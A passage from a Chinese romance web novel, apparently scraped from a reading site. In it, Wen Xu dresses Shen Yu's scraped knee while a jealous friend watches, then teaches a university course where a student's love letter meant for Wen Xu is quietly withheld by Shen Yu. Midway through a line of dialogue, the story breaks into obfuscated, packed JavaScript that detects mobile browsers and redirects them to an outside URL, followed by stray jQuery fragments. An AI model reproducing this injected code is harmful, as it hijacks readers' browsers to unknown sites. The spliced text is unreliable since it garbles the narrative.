大概是在礼堂里挤久了，闻煦突然感觉很热。尤其是耳后根被沈屿呼吸扫到的地方。


    他小时候贪玩，跤也没少摔，像膝盖蹭破皮这种在他这儿连小伤都算不上。


    但每个人情况不一样。


    沈屿身体本来就虚，吃不住疼很正常。


    闻煦提着沈屿的胳膊搭到自己身上，另只手扶住他的腰，把他整个人架起来：“这样行吗？”


    沈屿恩了声，好像是太疼了，又往闻煦身上贴了贴：“这样会不会压到哥哥？”


    “不会。”闻煦一笑，“再多来两个你都压不到我。”


    沈屿垂下眼，这个角度，他能清楚看见闻煦微微低头时露出的后颈。雪白一片，因为太瘦，隐约还能看到下面的骨头。


    要是被咬住这里，一定会紧张地叫出来吧。


    闻煦每次只要一紧张，脸和脖子都会带点浅浅的粉。不知道身上是不是也会。


    要真叫了，声音应该也会跟平常不太一样……


    闻煦架着沈屿慢慢朝前走，前方师生自觉开道，有的要上来帮忙，又被闻煦谢绝。


    不远处，有两个学生大眼瞪小眼。


    “你看到那个银发大帅哥是怎么摔的吗？”


    “不知道啊。好像是他走着走着，自己就跪下去了？”


    “我看着也是……但应该不能吧，应该是被人挤了我们没看着？”


    “可能吧。但好像大家都不是很敢靠近他啊……”


    闻煦扛着沈屿出了礼堂。礼堂附近就是医务室。闻煦跟等在外面的萧意他们说了声，就直接带着沈屿走了。


    这条路不比上次他从拍卖会上救出沈屿的那条短，但他却一点不觉得吃力。


    看来这段时间他又更Strong了。


    闻煦很满意，又把沈屿搂得更紧：“疼就多放点力在我身上，没事。”


    沈屿突然感觉疼得不止一条腿。


    今天校足球队比赛，跟外校发生争执，好几个学生受伤，闻煦到的时候，校医正在忙。


    虽然只是蹭破皮，但伤口还是要及时处理。闻煦跟校医打了招呼，把沈屿架到一间没人的小房间，让他坐到床上。自己从旁边拿了棉签药水。


    “我看看。”闻煦顺势蹲到沈屿脚边。


    沈屿坐在床沿，看到闻煦这个姿势，心里莫名不舒服：“我自己来吧，哥哥快起来。”


    “别动。”闻煦躲开沈屿伸过来的手，小心翼翼替他撩起裤管。


    鲜红的血跟破皮糊在一起，露出下头一点鲜肉。


    闻煦蹙眉，打开碘酒瓶，用棉签沾了点。又感觉自己蹲着上药好像底盘容易不稳，从旁边捞了张小凳子坐下。


    有了凳子，他的位置一下就高了。沈屿神情一松。


    “放上来。”闻煦拍拍自己的大腿。


    沈屿指节微曲： “要不就这样吧，感觉有点没力气抬腿……”


    “这样上不仔细。”闻煦直接上手抓住沈屿的小腿肚，把他腿放到自己身上，刚找到个好位置——


    “闻……”谈灼站在门口，看着屋内的景象：沈屿坐在床上，两只手分别按着床沿，微低着头，长发披散，一条腿架在闻煦身上，上衣有点乱。


    看着很像古装剧里那种勾引皇帝祸国殃民的妖妃。


    谈灼的拳头硬了第一百八十回。


    “怎么了？”闻煦毫无所觉，疑惑道，“你们不是先回了吗？”


    “……下午要用实验室，来找你拿钥匙。”


    闻煦哦了声，把钥匙掏给谈灼。


    谈灼拿了，没走。


    闻煦：“还有啥事？”


    “没事。”谈灼冷静地握拳，“外面热，我吹会儿空调再走。”


    闻煦不疑有他，低头开始给沈屿上药。


    小时候都是他妈或者沈屿给他上药，这还是他第一次照顾别人。他动作很慢，身体不自觉绷着，怕一不小心棉签滑过头弄疼沈屿。


    沈屿垂眼看着。


    闻煦天生手巧，从小就喜欢做各种模型。朋友又多，每次做了什么好东西，就会分给周围人。他也收到过不少。


    但，那些并不只是他有。


    可现在不一样。


    那双修长白皙的手正小心翼翼地放在他腿上。


    只放在他腿上。


    “呼——”一圈药上了快五分钟，闻煦猛地抬起头，像是完成了什么大工程，“好啦，等会儿再去问医生要点纱布，晚上洗澡的时候贴着，应该就没事了吧。”


    沈屿：“谢谢哥哥。”


    闻煦笑说跟我还客气，顺手把药瓶拧上，又顺手要把沈屿的腿从自己腿上放下去。


    刚才上药一声没坑的人突然嘶了声。


    不响，甚至还很轻，但足够让闻煦停下动作。


    “怎么了？”闻煦一下又紧张了，“疼？”


    “……有一点。”沈屿轻声细语，好像不太好意思，“哥哥再让我放会儿好不好。”


    闻煦刚要说行，旁边突然响起一个沉郁的声音：“要不我的借你放放？”


    “？”闻煦，“灼子你还没走啊。”


    谈灼：“……”


    沈屿：“怎么好辛苦谈少……对了哥哥，我今晚可以住在公司吗？”


    闻煦面露疑惑。


    “就睡一晚。”沈屿示意了下自己的膝盖，“家里太大了，我怕晚上活动起来不太方便。”


    公司的卧室区跟办公区是分两间租的，隔壁对隔壁，总体来说是没什么影响。


    闻煦：“你一个人住公司行吗？要不我陪你？”


    “不用。今晚谈少不是要去家里吗？”沈屿善解人意道，“哥哥陪他吧。我一个人慢点不要紧。”


    谈灼捏紧钥匙，心说你他妈是骨折了还是小儿麻痹了。


    “哎呀，我们两个大老爷们有什么好陪的。”


    前面上药的时候闻煦突然想到他爸前两天跟他说的，这些年沈屿在沈家的一些细节，还有他们小时候，他亲眼所见沈屿被欺负的样子。


    明明是那么怕疼一个人。但好像除了今天，哪怕是小时候，沈屿都从来没在他面前提过一点。每次见到他，都是很开心地叫哥哥。


    他不敢想沈屿到底默默承受了多少。


    如果可以的话，他想尽可能对沈屿更好一点。


    “给。”闻煦又掏出串钥匙给谈灼，“我今晚不回去了，你过去就睡我那间吧，要用什么随便拿。”


    谈灼：“………”


    闻煦在Q大的宣讲反响热烈，当天晚上邮箱就被简历塞满。


    计算机院的院长又来拜托他，问能不能安排个为期三天的小课程给学生们做拓展，闻煦一口答应。


    名额紧张，来上课的基本都是通过初筛的学生。


    上课地点在一个大型阶梯教室。


    闻煦在前面上课，沈屿就在后面给他记录学生课堂行为。


    “那个……沈总？”


    沈屿转头，看到桌子旁边突然长出个人，小青年穿着粉色扎染印花衬衫，皮肤白白的，容貌俊秀，看着很有少年气。


    “我叫方言。”方言压低声音，看看讲台前面正在聚精会神的闻煦，默默把一个粉色信封推到沈屿手边。


    沈屿眉梢微抬。


    方言小声道：“能不能麻烦你把这个交给闻老师？”


    沈屿微笑：“简历请投邮箱。”


    “不是简历，是我给闻老师的情书。”方言直接道，“我听说他不谈恋爱，也不收情书，能不能麻烦你转交下？我感觉你们关系好像很好，老师好像也挺听你话……”


    沈屿手里的笔本来都要断了，听到最后一句又回光返照了下。


    一天下来，沈屿收了差不多有二十封给闻煦的情书。


    傍晚，闻煦跟沈屿一块儿从教学楼往校门走。


    “你这袋子怎么这么鼓？”闻煦看着沈屿手里夹着的牛皮纸袋，他记得早上来的时候那还是薄薄一层。


    “课堂笔记。”


    闻煦好奇：“你之前学过CS吗？”


    因为面向的是应届尖子生，他今天上课讲得全都是比较高阶的计算机知识，没有一定基础很难听懂。


    “没有，就是抄了板书。”沈屿眼眸微垂，“感觉是哥哥讲的，就很想记下来。”


    “……等我有空。”闻煦勾住沈屿的肩膀，“你要想学我教你。”


    沈屿刚要说好。


    “闻老师


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297015|182541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ！”


    沈屿：“……”


    方言单肩背个书包跑过来，看着像是刚下晚课：“您要走了吗？”


    闻煦笑道：“是啊，怎么了？”


    方言飞快地瞥了眼沈屿，满脸都是情书给了吗给了吗。沈屿假装没看到，低头玩手机。


    “方同学？”


    “哦，没什么，就是刚想到今天上课两个问题，想问下您。”


    闻煦对方言印象不错。小孩上课表现积极，脑子转得快，提的问题又都很有探讨性，而且粉色衬衫穿搭也挺符合他审美。虽然晚上回去还有很多工作，但闻煦还是耐着性子跟他聊了快一刻钟。


    “你觉得他怎么样？”闻煦见方言走远了还回头跟他打招呼，也笑着挥挥手。


    沈屿状似犹豫：“他今天上课给我递情书……”


    “什么？！”闻煦唰地一下转回头。又转过去，发现方言已经跑没影了。


    “别的我不懂也不敢说。”沈屿小声，“但我觉得要做大事的人，应该要全神贯注，就跟哥哥一样……”


    闻煦心说难怪刚才讲话的时候，他总觉得方言的眼神好像有意无意往沈屿身上瞥呢。


    第二天上课，闻煦着重观察了下方言。发现对方选的位子确实离沈屿很近，时不时就会往他那边看，最离谱的是他说找周围同学讨论某问题五分钟，方言居然直接就奔着沈屿去了！


    简直岂有此理！


    闻煦已经不记得昨天他还在心里对方言大加赞赏，这会儿看他哪儿哪儿都觉得别扭。


    头发太长，身上的衣服不伦不类，大学还没毕业，工作还没着落，尽想着谈恋爱，这以后能有什么出息！


    而且他昨晚跟某个来Q大交流了一年的M国朋友聊了下——主要是聊工作跟学术，顺便打听了十来句方言，听说这小子仗着长得不错，读书期间在学校没少拈花惹草，甚至还劈过腿。


    这种的，就算小屿真想谈恋爱，他也不会同意的。


    小屿那么单纯，就该找个成熟稳重专一靠谱的，比如像他……虽然他不谈恋爱。


    闻煦：“方言同学。”


    方言本来还在跟沈屿纠结对方为什么还没把情书给闻煦，突然听见闻煦叫他，容光焕发地起身。


    “马上要提到你昨天说的那个问题了。”闻煦看了眼讲台前离沈屿十万八千里的座位，“你要不要坐到前面来听？”


    “谢谢老师！”方言抱着书兴冲冲坐到第一排，同时朝闻煦露出个大大的笑容。


    闻煦回以一笑，心里却直哼哼。


    你装乖也没用，我已经知道你是什么货色了。


    三天课程很快就到了最后一天。


    午休时间，沈屿倚在走廊墙角打电话，脸色有些沉：“是你让Smith对接闻煦的项目的？”


    “正要跟您汇报这事。”高竞沉声，“我本来是想让Chars对接的，但前两天老Smith突然提出要让他儿子负责。”


    老Smith是Granite董事会元老，之前还当过一阵董事长，在集团里自成一阵营。前不久，他又暗中通过各种手段在二级市场上秘密收购公司股份，等高竞发现，他俨然已经成了公司第二大股东。


    高竞：“抱歉，这事是我没盯紧……”


    老Smith的派系里大多以思想传统的白人为主，跟目前以高竞为首的新一批年轻人很不对付。


    “不怪你。”沈屿顿了下道，“盯好他们。”


    “明白，您放心，我不会让他们动闻少……”


    沈屿唰地一下挂掉电话。


    他直起身，看向旁边。


    “……沈总。”方言小心翼翼走上前。沈屿眉宇间的阴霾还没完全褪去，让他比平常若即若离的样子看上去更让人犯怵。


    但方言还是硬着头皮上了：“我的情书，您是不是还没给闻老师啊？”


    沈屿打量了他两眼，淡淡道：“没有。”


    “是没找到机会吗。”今天是上课最后一天，明天闻煦就不来了，方言有点着急，“要不您还给我，我自己给吧。”


    沈屿静静看着他。方言被他盯着，不知不觉后背开始冒冷汗。


    沈屿：“他有喜欢的人了。”